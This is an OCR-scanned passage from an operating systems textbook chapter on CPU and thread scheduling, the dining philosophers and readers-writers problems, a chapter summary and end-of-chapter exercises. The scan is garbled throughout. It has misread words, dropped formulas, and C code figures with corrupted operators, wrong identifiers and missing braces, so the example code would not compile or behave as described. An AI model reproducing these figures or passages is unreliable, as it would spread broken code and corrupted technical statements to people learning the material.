tary computer, processes started by generals might begin at priority 100, processes 
started by colonels at 90, majors at 80, captains at 70, lieutenants at 60, and so on. 
Alternatively, at a commercial computer center, high-priority jobs might cost 
$100 an hour, medium priority $75 an hour, and low priority $50 an hour. The 
UNIX system has a command, nice, which allows a user to voluntarily reduce the 
priOlity of his process, in order to be nice to the other users. Nobody e�er uses it. 

Priorities can also be assigned dynamically by the system to achIeve certam 
system goals. For example, some processes are highly I/O bound and spend most 
of their time waiting for lIO to complete. Whenever such a process wants the 
CPU it should be given the CPU immediately, to let it start its next lIO request, 
which can then proceed in parallel with another process actually computing. Mak
ing the IIO-bound process wait a long time �or the C�U will �ust mean h.aving it 
around occupying memory for an unnecessanly long time. A SImple algorIthm for 
O"ivinO" O"ood service to I/O-bound processes is to set the priority to l/f, wherefis o 0 0  
the fraction of the last quantum that a process used. A process that used only 1 
msec of its 50 msec quantum would get priority 50, while a process that ran 25 
msec before blocking would get priority 2, and a process that used the whole 
quantum would get priority 1. 

It is often convenient to group processes into priority classes and use priority 
scheduling among the classes but round-robin scheduling within each class. Fig
ure 2-42 shows a system with four priority classes. The scheduling algorithm is as 
follows: as long as there are runnable processes in priority class 4, just run each 
one for one quantum, round-robin fashion, and never bother with lower-priority 
classes. If priority class 4 is empty, then run the class 3 processes round robin. If 
classes 4 and 3 are both empty, then run class 2 round robin, and so on. If priori
ties are not adjusted occasionally, lower priority classes may all starve to death. 

Multiple Queues 

One of the earliest priority schedulers was in CTSS, the M.LT. Compatible 
TimeSharing System that ran on the IBM 7094 (Corbat6 et aI., 1962). CTSS had 
the problem that process switching was very slow because the 7094 could hold 
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only one process in memory. Each switch meant swapping the current process to 
disk and reading in a new one from disk. The CTSS designers quickly realized 
that it was more efficient to give CPU-bound processes a large quantum once in a 
while, rather than giving them small quanta frequently (to reduce swapping). On 
the other hand, giving all processes a large quantum would mean poor response 
time, as we have already seen. Their solution was to set up priority classes. Proc
esses in the highest class were run for one quantum. Processes in the next-highest 
class were run for two quanta. Processes in the next class were run for four 
quanta, and so on. Whenever a process used up all the quanta allocatetl. to it, it 
was moved down one class. 

As an example, consider a process that needed to compute continuously for 
100 quanta. It would initially be given one quantum, then swapped out. Next 
time it would get two quanta before being swapped out On succeeding runs it 
would get 4, 8, 16, 32, and 64 quanta, although it would have used only 37 of the 
final 64 quanta to complete its work. Only 7 swaps would be needed (including 
the initial load) instead of 100 with a pure round-robin algorithm. Furthennore, as 
the process sank deeper and deeper into the priority queues, it would be run less 
and less frequently, saving the CPU for short, interactive processes. 

The foJIowing policy was adopted to prevent a process that needed to run for a 
long time when it first started but became interactive later, from being punished 
forever. Whenever a carriage return (Enter key) was typed at a terminal, the proc
ess belonging to that tenninaI was moved to the highest priority class, on the 
assumption that it was about to become interactive. One fine day, some user with 
a heavily CPU-bound process discovered that just Sitting at the tenninal and typ
ing carriage returns at random every few seconds did wonders for his response 
time. He told all his friends. Moral of the story: getting. it right in practice is 
much harder than getting it right in principle. 

. 

Many other algorithms have been used for assigning processes to priority 
classes. For example, the influential XDS 940 system (Lampson, 1968), built at 
Berkeley, had four priority classes, called tenninal, I/O, short quantum, and long 
quantum. When a process that had been waiting for tenninal input was finally 
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awakened, it went into the highest priority class (terminal). When a process wait
ing for a disk block became ready, it went into the second class. When a process 
was still running when its quantum ran out, it was initially placed in the third 
class. However, if a process used up its quantum too many times in a row without 
blocking for terminal or other I/O, it was moved down to the bottom queue. Many 
other systems use something similar to favor interactive users and processes over 
background ones. 

Shortest Process Next 

Because shortest job first always produces the minimum average response 
time for batch systems, it would be nice if it could be used for interactive proc
esses as well. To a certain extent, it can be. Interactive processes generally fol
low the pattern of wait for command, execute command, wait for command, exe
cute command, and so on. If we regard the execution of each command as a sepa
rate "job," then we could minimize overall response time by running the shortest 
one first The only problem is figuring out which of the currently runnable proc
esses is the shortest one. 

One approach is to make estimates based on past behavior and run the process 
with the shortest estimated running time. Suppose that the estimated time per 
command for some terminal is To. Now suppose its next run is measured to be 
T I .  We could update our estimate by taking a weighted sum of these two num
bers, that is, aT 0 + (1 - a)T I .  Through the choice of a we can decide to have the 
estimation process forget old runs quickly, or remember them for a long time. 
With a ::: 112, we get successive estimates of 

To, To/2 + T, /2, To/4 + T,/4+ T2/2, To/8 + T, /8 + T2/4 + T3/2 

After three new runs, the weight of To in the new estimate has dropped to 118. 
The technique of estimating the next value in a series by taking the weighted 

average of _the current measured value and the previous estimate is sometimes 
called aging. It is applicable to many situations where a prediction must be made 
based on previous values. Aging is especially easy to implement when a = 112. 
All that is needed is to add the new value to the current estimate and divide the 
sum by 2 (by shifting it right 1 bit). 

Guaranteed Scheduling 

A completely different approach to scheduling is to make real promises to the 
llsers about performance and then live up to those promises. One promise that is 
realistic to make and easy to live up to is this: If there are n users logged in while 
you are working, you will receive about lin of the CPU power. Similarly. on a 
single-user system with n processes running, all things being equal. each one 
should get lin of the CPU cycles. That seems fair enough. 
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To make good on this promise, the system must keep track of how much CPU 
each process bas had since its creation. It then computes the amount of CPU each 
one is entitled to, namely the time since creation divided by n. Since the amount 
of CPU time each process has actually had is also known, it is straightforward to 
compute the ratio of actual CPU time consumed to CPU time entitled. A ratio of 
0.5 means that a process has only had half of what it should have had, and a ratio 
of 2.0 means that a process has had twice as much as it was entitled to. The algoM 
rithm is then to run the process with the lowest ratio until its ratio has moved 
above its closest competitor. 

Lottery Scheduling 
While making promises to the users and then living up to them is a fine idea, 

it is difficult to implement. However, another algorithm can be used to give simi
larly predictable results with a much simpler implementation. It is caned lottery 
scheduling (Wa1dspurger and Weihl, 1994). 

The basic idea is to give processes lottery tickets for various system re
sources, such as CPU time. Whenever a scheduling decision has to be made, a lot
tery ticket is chosen at random, and the process holding that ticket gets the re
source. When applied to CPU scheduling, the system might hold a lottery 50 
times a second, with each winner getting 20 msec of CPU time as a prize. 

To paraphrase George Orwell: "All processes are equal, but some �rocesses 
are more equal." More important processes can be given extra tickets, to increase 
their odds of winning. If there are 1 00 tickets outstanding, and one process holds 
20 of them, it will have a 20% chance of winning each lottery. In the long run, it 
will get about 20% of the CPU. In contrast to a priority scheduler, where it is 
very hard to state what having a priority of 40 actually means, here tbe rule is 
clear: a process holding a fraction f of the tickets will get about a fraction f of the 
resource in question. 

Lottery scheduling has several interesting properties. For example, if a new 
process shows up and is granted some tickets, at the very next lottery it will have 
a chance of winning in proportion to the number of tickets it holds. In other 
words, lottery scbeduling is highly responsive. 

. 

.Cooperating processes may exchange tickets if they wish. For example, when 
a chent process sends a message to a server process and then blocks, it may give 
all of its tickets to the server, to increase the chance of the server running next. 
When the server is finished, it returns the tickets so that the client can run again. 
In fact, in the absence of clients, servers need no tickets at alL 

Lottery scheduling can be used to solve problems that are difficult to handle 
with other methods. One example is a video server in which several processes are 
feeding video streams to their clients, but at different frame rates. Suppose that 
tbe processes need frames at 10, 20, and 25 frames/sec. By allocating these proc
esses 10, 20, and 25 tickets, respectively, they will automatically divide the CPU 
in approximately the correct proportion, that is, 10  : 20 : 25. 
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FairMShare Scheduling 

So far we have assumed that each process is scheduled on its own, without 
regard to who its owner is. As a result, if user 1 starts up 9 pro�esses and user 2 
starts up 1 process, with round robin or equal priorities, user 1 w111 get 90% of the 
CPU and user 2 will get only 10% of it. 

To prevent this situation, some systems take into account who owns a process 
before scheduling it. In this model, each user is allocated some fraction of the 
CPU and the scheduler picks processes in such a way as to enforce it. Thus if two 
users have each been promised 50% of the CPU, they will each get that, no matter 
how many processes they have in existence. 

As an example, consider a system with two users, each of which has been 
promised 50% of the CPU. User 1 has four processes, A, B, C, and D, and user 2 
has only 1 process, E. If round-robin scheduling is used, a possible scheduling se
quence that meets all the constraints is this one: 

A E B E C E D E A E B E C E D E  ... 

On the other hand, if user I is entitled to twice as much CPU time as user 2, we 
might get 

A B E C D E A B E C D E  ... 

Numerous other possibilities exist, of course, and can be exploited, depending on 
what the notion of fairness is. 

2.4.4 Scheduling in Real-Time Systems 

A real-time system is one in which time plays an essential role. Typically, 
one or more physical devices external to the computer generate stimuli, and the 
computer must react appropriately to them within a fixed amount of time. For ex
ample, the computer in a compact disc player gets the bits as they come off the 
drive and must convert them into music within a very tight time interval. If the 
calculation takes too long, the music will sound peculiar. Other real-time systems 
are patient monitoring in a hospital intensive-care unit, the autopilot in an aircraft, 
and robot control in an automated factory. In all these cases, having the right 
answer but having it too late is often just as bad as not having it at all. 

Real-time systems are generally categorized as hard real time, meaning there 
are absolute deadlines that must be met, or else, and soft real time, meaning that 
missing an occasional deadline is undesirable, but nevertheless tolerable. In both 
cases, real-time behavior is achieved by dividing the program into a number of 
processes, each of whose behavior is predictable and known in advance. These 
processes are generally short lived and can run to completion in well under a sec
ond. When an external event is detected, it is the job of the scheduler to schedule 
the processes in such a way that all deadlines are met. I 

: ...• 'i 1. 
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The events that a real-time system may have to respond to can be further 
categorized as periodic (occurring at regular intervals) or aperiodic (occurring 
unpredictably). A system may have to respond to multiple periodic event streams. 
Depending on how much time each event requires for processing, it may not even 
be possible to handle them all. For example, if there are m periodic events and 
event i occurs with period Pi and requires C i seconds of CPU time to handle each 
event, then the load can only be handled if 

A real-time system that meets this criterion is said to be schedulable. 
As an example, consider a .soft real-time system with three periodic events, 

with periods of 100, 200, and 500 msec, respectively. If these events require 50, 
30, and 100 msec of CPU time per event, respectively, the system is schedulable 
because 0.5 + 0.15 + 0.2 < 1 .  If a fourth event with a period of 1 sec is added, the 
system will remain schedulable as long as this event does not need more than 150 
msec of CPU time per event. Implicit in this calculation is the assumption that the 
context-switching overhead is so small that it can be ignored. 

Real-time scheduling algorithms can be static or dynamic. The former make 
their scheduling decisions before the system starts running. The latter make their 
scheduling decisions at run time. Static scheduling only works when there is per
fect information available in advance about the work to be done and the deadlines 
that have to be met Dynamic scheduling algorithms do not have these restrictions. 
We will defer our study of specific algorithms until we treat real-time multimedia 
systems in Chap. 7. 

2-4-5 Policy versus Mechanism 

Up until now, we have tacitly assumed that all the processes in the system 
belong to different users and are thus competing for the CPU. While this is often 
true, sometimes it happens that one process has many children running under its 
controL For example, a database management system process may have many 
children. Each child might be working on a different request, or each one might 
have some specific function to perform (query parsing, disk access, etc.). It is en
tirely possible that the main process has an excellent idea of which of its children 
are the most important (or time critical) and which the least. Unfortunately, none 
of the schedulers discussed above accept any input from user processes about 
scheduling decisions. As a result, the scheduler rarely makes the best choice. 

The solution to this problem is to separate the scheduling mechanism from 
the scheduling policy, a long-established principle (Levin et a1., 1975). What this 
means is that the scheduling algorithm is parameterized in some way, but the 
parameters can be filled in by user processes. Let us consider the database ex
ample once again. Suppose that the kernel uses a priority-scheduling algorithm 
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but provides a system can by which a process can �et (an� chang�) the yriorities 
of its children, In this way the parent can control In detaIl how Its childr�n a�e 
scheduled, even though it itself does not do the scheduling. Here the mechalllsm 18 
in the kernel but policy is set by a user process. 

2.4.6 Thread Scheduling 

When several processes each have mUltiple threads, we have two levels of 
parallelism present: processes and threads. Scheduling in such systems differs 
substantially depending on whether user-level threads or kernel-level threads (or 
both) are supported, 

Let us consider user-level threads first Since the kernel is not aware of the 
existence of threads, it operates as it always does, picking a process, say, A, and 
giving A control for its quantum. The thread scheduler inside :4 decides which 
thread to run, say Ai. Since there are no clock interrupts to multtprogram threads, 
this thread may continue running as long as it wants to. If it uses up the process' 
entire quantum, the kernel will select another process to 

.run. . 
When the process A finally runs again, thread Ai WIll resume 

.
runm�g. :t will 

continue to consume all of A's time until it is finished. However, Its anttsocIaI be
havior will not affect other processes. They will get whatever the scheduler con
siders their appropriate share, no matter what is going on inside process A. 

Now consider the case that A's threads have relatively little work to do per 
CPU burst, for example, 5 msec of work within a SO-msec quantum. Consequent-
1y, each one runs for a little while, then yields the CPU back to the thread schedul
er. This mioht lead to the sequence AI, A2, A3, AI, A2, A3, AI, A2, A3, AI, before 
the kemel ;witches to process B. This situation is illustrated in Fig. 2-43(a). 

The scheduling algorithm used by the run-time system can be any of t�e ones 
described above. In practice, round-robin scheduling and priority schedulmg are 
most common. The only constraint is the absence of a clock to interrupt a thread 
that has run too long. 

Now consider the situation with kernel-level threads. Here the kernel picks a 
particular thread to run. It does not have to take into �cc�unt which process �e 
thread belongs to, but it can if it wants to. The thread IS gIVen a quantum and IS 
forceably suspended if it exceeds the quantum. With a SO-msec quantum but 
threads that block after 5 msec, the thread order for some period of 30 msec might 
be Ai, Bi, A2. B2, A3, B3, something not possible with thf;?se parameters and 
user-level threads. This situation is partially depicted in Fig. 2 .. 43(b). 

A major difference between user-level threads and kernel-level threads is the 
performance. Doing a thread switch with user-level threads takes a handful of ma
chine instlUctions. With kernel-level threads it requires a full context switch, 
changing the memory map and invalidating the cache, which is seve�al orders of 
magnitude slower. On the other hand, with kernel-level threads, havmg a thread 
block on I/O does not suspend the entire process as it does with user-level threads. 
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Process A Process 8 

1 .  Kerne! picks a thread � 
Possible: Ai, A2, A3, Ai, A2,A3 
Also possible: Ai, 81, A2, 82, A3, 83 

(b) 
Figure 2-43. (a) Possible scheduling of user-level threads with a 50·msec proc
ess quantum and threads that run 5 msec per CPU burst. (b) Possible schedulino
of kernel-level threads with the same characteristics as (a). 

b 

. 
Since the. kernel knows that switching from a thread in process A to a thread 

m p.rocess B IS more expensive than running a second thread in process A (due to 
havmg .to 

.
change �e �emory map and having the memory cache spoilea), it can 

take thlS mformatlon Into �ccount when making a decision. For example, given 
two threads that are otherWIse equally important, with one of them belonging to 
the same process as a thread that just blocked and one belonging to a different 
process, preference could be given to the fonner. 

. 
Anot�er important factor is that user-level threads can employ an applica

tIOn-specIfic thread scheduler. Consider, for example, the Web server of Fig. 2-8. 
Suppose that a worker thread has just blocked and the dispatcher thread and two 
worker threads are ready. Who should run next? The run-time system, knowing 
what all the threads do, can easily pick the dispatcher to run next, so that it can 

�tart an0t?er worker running. This strategy maximizes the amount of parallelism 
m an enVlfonment where workers frequently block on disk I/O. With kernel-level 
threa�, the k�rnel would never know what each thread did (although they could 
be aSSIgned dIfferent priorities). In general, however, application-specific thread 
schedulers can tune an application better than the kernel can. 

2.5 CLASSICAL IPC PROBLEMS 

The operating systems literature is full of interesting problems that have been 
widely discussed and analyzed using a variety of synchronization methods. In the 
following sections we will examine three of the better-known problems. 



n 
I 

'I : ! 
[ [ , .  [ 

162 PROCESSES AND THREADS CHAP. 2 

2.5.1 The Dining Philosophers Problem 

In 1965, Dijkstra posed and solved a synchronization �roble� he called the 
dining philosophers problem. Since that time, everyone Inventmg yet another 
synchronization primitiv� has felt obligate? to demonst:a�e ho� wonderful the 
new primitive is by showmg how elegantly It solves the duuo? phl1�sophers prob� 
lern. The problem can be stated quite simply as follows. FIve phllosoph�rs are 
seated around a circular table. Each philosopher has a plate of spaghetu. The 
spaghetti is so slippery that a philosopher needs t:v� forks to �at it Between each 
pair of plates is one fork. The layout of the table IS Illustrated m FIg. 2-44. 

Figure 2-44. Lunch time in the Philosophy Department. 

The life of a philosopher consists of alternate periods of eating and thi�k.i�g. 
(This is something of an abstraction, even for philosophers, �ut the othe� actlvlueS 
are irrelevant here.) When a philosopher gets hungry, she trIes to acqUire her left 
and right forks, one at a time, in either order. If successfu� in acquiri�g two forks, 
she eats for a while, then puts down the forks, and continues to thmk. The key 
question is: Can you write a program for each philosopher that does what it is sup
posed to do and never gets stuck? (It has been pointed ?ut that the t:vo-fork re
quirement is somewha� arti!lcial; perhaps 

.we should �wltch from Itahan food to 
Chinese food, substitutmg nce for spaghettI and chopstlcks for forks.) . . Figure 2-45 shows the obvious solution. The procedure take_fork ,:a1ts untIl 
the specified fork is available and then seizes it. Unfortuna�ely, the ObV1�US solu
tion is wrong. Suppose that all five philosophers take theIr left forks SImultan
eously. None will be able to take their right forks, and there will be a deadlock. 

c_ < 
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#define N 5 
void philosopher(int i) 
{ 

while (TRUE) ( 
think( ); 
take_fork(i); 
take_fork((i+1) % N); 
eat(); 
puLfork(i); 
puLfork((i+l) % N); 

/* number of philosophers */ 
/* i: philosopher number, from 0 to 4 */ 

/* phllosopher is thinking */ 
/* take left fork */ 
/* take right fork; % is modulo operator *! 
/* yum-yum, spaghetti */ 
/* put left fork back on the table *f 
/* put right fork back on the table */ 

Figure 2-45. A nonsolution to the dining philosophers probJem. 
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We could modify the program so that after taking the left fork, the program 
checks to see if the right fork is available. If it is not, the philosopher puts down 
the left one, waits for some time, and then repeats the whole process. This propo
sal too, fails, although for a different reason. 'With a little bit of bad luck, all the 
philosophers could start the algorithm simultaneously, picking up their left forks, 
seeing that their right forks were not available, putting down their left forks, wait
ing, picking up their left forks again simultaneously, and so on, forever. A situa
tion like this, in which a11 the programs continue to run indefinitely but fail to 
make any progress is called starvation. (It is called starvation even when the 
problem does not occur in an Italian or a Chinese restaurant) 

Now you might think that if the philosophers would just wait a random time 
instead of the same time after failing to acquire the right-hand fork, the chance 
that everything would continue in lockstep for even an hour is very smalL This 
observation is true, and in nearly all applications trying again later is not a prob
lem. For example, in the popular Ethernet local area network, if two computers 
send a packet at the same time, each one waits a random time and tries again; in 
practice this solution works fine. However, in a few applications one would prefer 
a solution that always works and cannot fail due to an unlikely series of random 
numbers. Think about safety control in a nuclear power plant. 

One improvement to Fig. 2A5 that has no deadlock and no starvation is to 
protect the five statements following the call to think by a binary semaphore. Be
fore starting to acquire forks, a philosopher would do a down on mutex. After re
placing the forks, she would do an up on mutex. From a theoretical viewpoint, 
this solution is adequate. From a practical one, it has a performance bug: only one 
philosopher can be eating at any instant. With five forks available, we should be 
able to allow two philosophers to eat at the same time. 

The solution presented in Fig. 2-46 is deadlock-free and allows the maximum 
parallelism for an arbitrary number of philosophers. It uses an array. state, to 
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#define N 5 
#define LEFT (i+N-1 )%N 
#define RIGHT (i+1}%N 
#define THINKING 0 
#define HUNGRY 1 
#define EATING 2 
typedef lnt semaphore; 
int state[N]; 
semaphore mutex = 1 ;  
semaphore s[NJ; 

void philosopher(int i) 
{ 

while (TRUE) { 
think(); 
take_forks(i); 
eat(); 
puLforks(i); 

void take_forks(int i) 
{ 

down(&mutex); 
state[i] :::: HUNGRY; 
test(l); 
up(&mutex); 
down(&s[i]); 

void puLforks(i) 
{ 

down(&mutex); 
stateD] :::: THINKING; 
test(LEFT); 
test{RIGHT); 
up(&mutex); 

1* number of philosophers */ 
/* number of j's left neighbor */ 
1* number of l's right neighbor */ 
1* philosopher is thinking */ 
/* philosopher is trying to get forks */ 
1* philosopher is eating */ 
/* semaphores aTe a special kind of int */ 
i* array to keep track of everyone:s state */ 
1* mutual exclusion for critical regions */ 
/* one semaphore per philosopher */ . 
/* i: philosopher number, from 0 to N-1 */ 
1* repeat forever */ 
1* philosopher is thinking */ 
1* acquire two forks or block */ 
/* yum�yum, spaghetti */ 
/* put both forks back on table */ 

1* i: philosopher number, from a to N-1 *f 
/* enter critical region */ 
/* record facl that philosopher i is hungry */ 
/* try to acquire 2 forks */ 
/* exit critical region *( 
/* block if forks were not acquired */ 

/* i: philosopher number, from a to N-1 */ 
/* enter critical region *f 
/* philosopher has finished eating */ 
/* see if left neighbor can now eat *1 
1* see if right neighbor can now eat *f 
/* exit critical region */ 

void test{i) /* i: philosopher number, from a to N-1 */ 
{ 

if (state[i] = HUNGRY && state[LEFT] !:::: EATING && state[R1GHll !:::: EATING) { 

stateD] :::: EATING; 
up{&s(i]); 

Figure 246. A solution to the dining philosophers problem. 
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keep track of whether a philosopher is eating, thinking, or hungry (trying to ac
quire forks). A philosopher may only move into eating state if neither neighbor is 
eating. Philosopher i's neighbors are defined by the macros LEFT and RIGHT. In 
other words, if i is 2, LEFT is 1 and RIGHT is 3. 

The program uses an array of semaphores, one per philosopher, so hungry 
philosophers can block if the needed forks are busy. Note that each process runs 
the procedure philosopher as its main code, but the other procedures, take_forks, 
put-forks, and test, are ordinary procedures and not separate processes. 

2.5.2 The Readers and Writers Problem 

The dining philosophers problem is useful for modeling processes that are 
competing for exclusive access· to a limited number of resources, such as lIO de� 
vices. Another famous problem is the readers and writers problem (Courtois et aI., 
1971), which models access to a database. Imagine, for example, an airline reser
vation system, with many competing processes wishing to read and write it. It is 
acceptable to have multiple processes reading the database at the same time, but if 
one process is updating (writing) the database, no other processes may have ac
cess to the database, not even readers. The question is how do you program the 
readers and the writers? One solution is shown in Fig. 2-47. 

In this solution, the first reader to get access to the database does a· down on 
the semaphore db. Subsequent readers merely increment a counter, rc. As read
ers leave, they decrement the counter, and the last one out does an up on the sem
aphore, allowing a blocked writer, if there is one, to get in. 

The solution presented here implicitly contains a subtle decision worth noting. 
Suppose that while a reader is using the database, another reader comes along. 
Since having two readers at the same time is not a problem, the second reader is 
admitted. Additional readers can also be admitted if they come along. 

Now suppose that a writer shows up. The writer may not be admitted to the 
database, since writers must have exclusive access, so the writer is suspended. 
Later, additional readers show up. As long as at least one reader is still active, 
subsequent readers are admitted. As a consequence of this strategy, as long as 
there is a steady supply of readers, they will all get in as soon as they arrive. The 
writer will be kept suspended until no reader is present. If a new reader arrives, 
say, every 2 seconds, and each reader takes 5 seconds to do its work, the writer 
will never get in. 

To prevent this situation, the program could be written slightly differently: 
when a reader arrives and a writer is waiting, the reader is suspended behind the 
writer instead of being admitted immediately. In this way, a writer has to wait for 
readers that were active when it arrived to finish but does not have to wait for 
readers that came along after it. The disadvantage of this solution is that it 
achieves less concurrency and thus lower performance. Courtois et aL present a 
solution that gives priority to writers. For details, we refer you to the paper. 
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typedef in! semaphore; 
semaphore mutex = 1 ;  
semaphore db ::: 1 ;  
int rc ::: 0; 

void reader(void) 
{ 

while (TRUE) ( 
down(&mutex); 
rC = fC +  1 ;  
jf (rc == 1 )  down(&db); 
up(&mutex); 
read_data_base( ); 
down(&mutex); 
rc = rc - 1 ;  
if (re = 0) up(&db); 
up(&mutex); 
use_data_read() ;  

void writer(vold) 
( 

while (TRUE) [ 
thinLup_data( ); 
down(&db); 
write_data_base( ); 
up(&db); 

/* use your imagination */ 
/* controls access to 're' *1 
/* controls access to the database */ 
/* # of processes reading or wanting to */ 

/* repeat forever */ 
/* get exclusive access to 'Te' */ 
/* one reader more now *1 
/* if this is the first reader ... *I 
/* release exclusive access to 're' */ 
f* access the data */ 
/* get exclusive access to 're' *1 
/* one reader fewer now */ 
/* if this is the last reader ... */ 
/* release exclusive access to 'rc' */ 
/* noncritical region */ 

/* repeat forever */ 
/* noncritical region *f 
/* get exclusive access */ 
(* update the data */ 
(* release exclusive access */ 

Figu.e 2A7. A solution to the readers and writers problem. 

2.6 RESEARCH ON PROCESSES AND THREADS 

CHAP. 2 

In Chap. 1, we looked at some of the current research in operating system 
structure. In this and subsequent chapters we will look at more narrowly focused 
research, starting with processes. As will become clear in time, some subjects are 
much more settled than others. Most of the research tends to be on the new to
pics, rather than ones that have been around for decades. 

The concept of a process is an example of something that is fairly well settled. 
Almost every system has some notion of a process as a container for grouping to
gether related resources such as an address space, threads, open files, protection 
permissions, and so on. Different systems do the grouping slightly differently, but 
these are just engineering differences. The basic idea is not very controversial any 
more, and there is little new research on the subject of processes. 
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Threads are a newer idea than processes, but they, too, have been chewed 
over quite a bit. Still, the occasional paper about threads appears from time to 
time, f�r example, about thread clustering on multiprocessors (Tam et aI., 2007) 
or scalIng the number of threads in a process to 100,000 (Von Behren et a1. 
2003). 

• 

Process synchronization is pretty much cut and dried by now, but there is still 
a paper once in a while, such as one on concurrent processino- without locks 
(Fraser and Hams, 2007) or nonblocking synchronization in re�l-time systems 
(Hohmuth and Haertig, 2001) 

Scheduling (both uniprocessor and multiprocessor) is still a topic near and 
dear to the heart of some researchers. Some topics being researched include ener
gy-ef�cient scheduling on mobile devices (Yuan and Nahrstedt, 2006), hyper
threadmg-aware scheduling (Bulpin and Pratt, 2005), what to do when the CPU 
w�uld otherwise be idle (Eggert and Touch, 2005), and virtual-time scheduling 
(Nleh et aL, 2001). However, few actual system designers are walkino- around all 
day wringing their hands for lack of a decent thread-scheduling algorithm, so it 
appears that this type of research is more researcher-push than demand-pulL All in 
aU, processes, threads, and scheduling are not hot topics for research as they once 
were. The research has moved on. 

2.7 SUMMARY 

To hid� t?e effects of �nterrupts, operating systems provide a conceptual 
model consIstmg of sequenaal processes running in parallel. Processes can be 
created and termin�te� dyn��ically. Each process has its own address space. 

For some applIcatIOns It IS useful to have mUltiple threads of control within a 
single process. These threads are scheduled independently and each one has its 
own st�ck, but all th� threads in a process share a common address space. Threads 
can be Implemented III user space or in the kerneL 

. Pr�ce
.
s�es can conununicate with one another using interprocess conununica

tIOn pnIDltIVes, such as semaphores, monitors, or messages. These primitives are 

�sed to e�sur� that no two processes are ever in their critical regions at the same 
arne, a SItuatIOn that leads to chaos. A process can be running, runnable, or ?locked and can change state when it or another process executes one of the 
mterprocess communication primitives. Interthread communication is similar. 

Interprocess communication primitives can be used to solve such problems as 
the producer-consumer, dining philosophers, and reader-writer. Even with these 
primitives, care has to be taken to avoid errors and deadlocks. � great many scheduling algorithms have been studied. Some of these are pri
manly us.ed for batch systems, such as shortest job first scheduling. Others are 
common m both batch systems and interactive systems. These algorithms include 
round robin, priority scheduling, multilevel queues, guaranteed scheduling, lottery 
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. . d thread rather than a per-process ltem. 
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Why? After all, the machine has only one set of regIsters. 

9 Wh would a thread ever voluntarily give up the CPU by calling thread_yield? After 

. all, �ince there is no periodiC clock interrupt, it may never get the CPU back. . 

10. Can a thread ever be preempted by a clock interrupt? If so, under what CIrcum
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h d ·  s ace? What is the 

11. What is the biggest advantage of implementing t rea s 10 user p . 
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so on?o If so, how? If not, why not? 
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13. In the discussion on global variables in threads, we used a procedure create_global to 
allocate storage for a pointer to the variable, rather than the variable itself. Is this 
essential, or could the procedures work with the values themselves just as well? 

14. Consider a system in which threads are implemented entirely in user space, with the 
run-time system getting a clock interrupt once a second. Suppose that a clock interrupt 
occurs while some thread is executing in the run-time system. What problem might 
occur? Can you suggest a way to solve it? 

15. Suppose that an operating system does not have anything like the select system call to 
see in advance if it is safe to read from a file, pipe, or device, but it does allow alarm 
clocks to be set that interrupt blocked system caBs. Is it possible to implement a 
threads package in user space under these conditions? Discuss. 

16. Can the priority inversion problem discussed in Sec. 2.3.4 happen with user�level 
threads? Why or why not? 

17. In Sec. 2.3.4, a situation with a high-priority process, H, and a low�priority process, L, 
was described, which led to H looping forever. Does the same problem occur if 
round-robin scheduling is used instead of priority scheduling? Discuss. 

18. In a system with threads, is there one stack per thread or one stack per process when 
user-level threads are used? What about when kernel-level threads are used? Explain. 

19. What is a race condition? 
20. When a computer is being developed, it is usually first simulated by a pr�gram that 

runs one instruction at a time. Even multiprocessors are simulated strictly sequentially 
like this. Is it possible for a race condition to occur when there are no simultaneous 
events like this? 

21. Does the busy waiting solution using the turn variable (Fig. 2-23) work when the two 
processes are running on a shared-memory mUltiprocessor, that is, two CPUs sharing a 
common memory? 

22. Does Peterson's solution to the mutual exclusion problem shown in Fig. 2-24 work 
when process scheduling is preemptive? How about when it is nonpreemptive? 

23. Give a sketch of how an operating system that can disable interrupts could implement 
semaphores. 

24. Show how counting semaphores (i.e., semaphores that can hold an arbitrary value) can 
be implemented using only binary semaphores and ordinary machine instructions. 

25. If a system has only two processes, does it make sense to use a barrier to synchronize 
them? Why or why not? 

26. Synchronization within monitors uses condition variables and two special operations, 
wait and signal. A more general form of synchronization would be to have a single 
primitive, waituntil, that had an arbitrary Boolean predicate as parameter. Thus, one 
could say, for example, 

waituntit x < 0  ory + z <  n 

The Signa! primitive would no longer be needed. This scheme is clearly more general 
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than that of Hoare or Brineh Hansen, but it is not used. Why not? Hint: Think about 
the implementation. 

1:l. A fast food restaurant has four kinds of employees: (1) order takers, who take custo
mers' orders; (2) cooks, who prepare the food; (3) packaging specialists, wh� stuff the 
food into bags; and (4) cashiers, who give the bags to customers and take then money. 
Each employee can be regarded as a communicating sequential process. What form of 
interprocess communication do they use? Relate this model to processes in UNIX. 

28. Suppose that we have a message-passing system using mailboxes. When sending to a 
full mailbox or trying to receive from an empty one, a process does n�t bloc�. Inste�d, 
it gets an error code back. The process responds to the error code by Just trymg agam, 
over and over, until it succeeds. Does this scheme lead to race conditions? 

29. The CDC 6600 computers could handle up to 10 110 processes simultaneously using 
an interesting form of round-robin scheduling called processor sharing. A �rocess 
switch occUlTed after each instruction, so instruction I came from process 1, Instruc
tion 2 came from process 2, etc. The process switching was done by special hardware, 
and the overhead was zero. If a process needed T sec to complete in the absence of 
competition, how much time would it need if processor sharing was used with n proc
esses? 

30. Round-robin schedulers normally maintain a list of all runnable processes, with each 
process occurring exactly once in the list. What would happen if a process occurred 
twice in the list? Can you think of any reason for allowing this? 

31. Can a measure of whether a process is likely to be CPU bound or I/O bound be deter
mined by analyzing source code? How can this be determined at run time? 

32. In the section "When to Schedule," it was mentioned that sometimes scheduling could 
be improved if an important process could play a role in selecting the next process to 
run when it blocks. Give a situation where this could be used and explain how. 

33. Five jobs are waiting to be run. Their expected run times are 9, 6, 3, 5, and X. In what 
order should they be run to minimize average response time? (Your answer will 
depend on X.) 

34. Five batch jobs A through E, arrive at a computer center at almost the same time. They 
have estimated running times of 10, 6, 2, 4, and 8 minutes. Their (externally deter� 
mined) priorities are 3, 5, 2, I ,  and 4, respectively, with 5 being the highest priority. 
For each of the following scheduling algorithms, determine the mean process turn
around time. Ignore process switching overhead. 

(a) Round robin. 
(b) Priority scheduling. 
(c) First-come, first-served (run in order 10, 6, 2, 4, 8). 
(d) Shortest job first. 

For (a), assume that the system is multiprogrammed, and that each job gets its fair 
share of the CPU. For (b) through (d) assume that only one job at a time runs, until it 
finishes. All jobs are completely CPU bound. 
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35. A process running on CTSS needs 30 quanta to complete. How many times must it be 
swapped in, including the very first time (before it has run at all)? 

36. Can you think of a way to save the CTSS priority system from being fooled by ran
dom carriage returns? 

37. The aging algorithm with a = 112 is being used to predict run times. The previous four 
